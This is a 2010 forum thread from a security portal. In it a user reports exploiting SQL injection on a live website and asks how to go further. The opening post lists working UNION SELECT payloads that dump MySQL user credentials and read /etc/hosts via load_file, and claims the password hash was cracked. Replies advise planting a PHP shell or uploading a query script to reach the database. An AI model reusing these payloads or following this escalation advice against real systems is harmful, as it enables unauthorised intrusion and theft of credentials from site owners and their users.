Waraxe IT Security Portal
Login or Register
July 14, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 69
Members: 0
Total: 69
Full disclosure
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
SEC Consult SA-20240620-0 :: Arbitrary File Upload in edu-sharing (metaVentis GmbH)
Zip Slip meets Artifactory: A Bug Bounty Story
Backdoor.Win32.Plugx / Insecure Permissions
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Host/mysql inj help!!!!!!!!!!!!
Post new topicReply to topic View previous topic :: View next topic
Host/mysql inj help!!!!!!!!!!!!
PostPosted: Sun May 23, 2010 3:26 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




I've exploited a sql bug from a website..and i was wonderin' what i could do with thes followin'..


Code:
union select 1,user(),2,3,4--+


Serveur@192.168.1.60

Code:
union select 1,database(),2,3,4--+


Alm


Code:
union select 1,concat(user,0x3e,password),2,3,4 from mysql.user--


Serveur>pass

(NOTE:well,I'v decrypted the mysql hash and i got the pass)



Code:
union select 1,concat(db,0x3e,host),2,3,4 from mysql.db--



Test>%

Test\_%>%

Caicu>localhost

Alm>localhost


Code:
union select 1,load_file('/etc/hosts'),2,3,4--


bd1.site.com
196.20.60.210



So,
1- I have, user+pwd in plaintext and db name, so what can i do with them?...plz need an answer.
2- I was wondering how I could find the HOST of mysql, to connect trought it.."localhost"
thanks..
View user's profile Send private message
PostPosted: Mon May 24, 2010 8:30 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort?
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 24, 2010 8:51 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




capt wrote:
well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort?


Thanks for ur..Its mysql 4.x.x version And also I wasnt abel to find the table of admins I tried it manualy ( Brutus forcin'), I just want A solution to connect through MYSQL..
View user's profile Send private message
PostPosted: Tue May 25, 2010 1:49 am Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




you would have to find a way to spawn some type of PHP shell with a mySQL manager or simply uploading your own SQL query script to connect to the db to spit out some information that your wanting.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 25, 2010 2:58 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




If the mysql server allows external connection you can connect directly, without access to the server.
View user's profile Send private message
PostPosted: Tue May 25, 2010 7:59 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




delta wrote:
If the mysql server allows external connection you can connect directly, without access to the server.


its localhost and rarely any host uses this any more.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 25, 2010 9:26 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




delta wrote:
If the mysql server allows external connection you can connect directly, without access to the server.



I tried to connect directly ..Using applications that allow mysql connection..And It doesnt work. It seem that I must have an access through..


Quote:
its localhost and rarely any host uses this any more.



You're right it is a Localhost, must have an access through..for I can connect, If there any ideas ... paste them here please! Arrow
View user's profile Send private message
PostPosted: Wed May 26, 2010 2:46 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




private message me and we can talk there. Or we can use some type of messenger either way works with me if you want help. Your going to have to find a way to get a working shell up or some type of code that will allow you to run some mySQL querys.
View user's profile Send private message Visit poster's website MSN Messenger
Host/mysql inj help!!!!!!!!!!!!
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.119 Seconds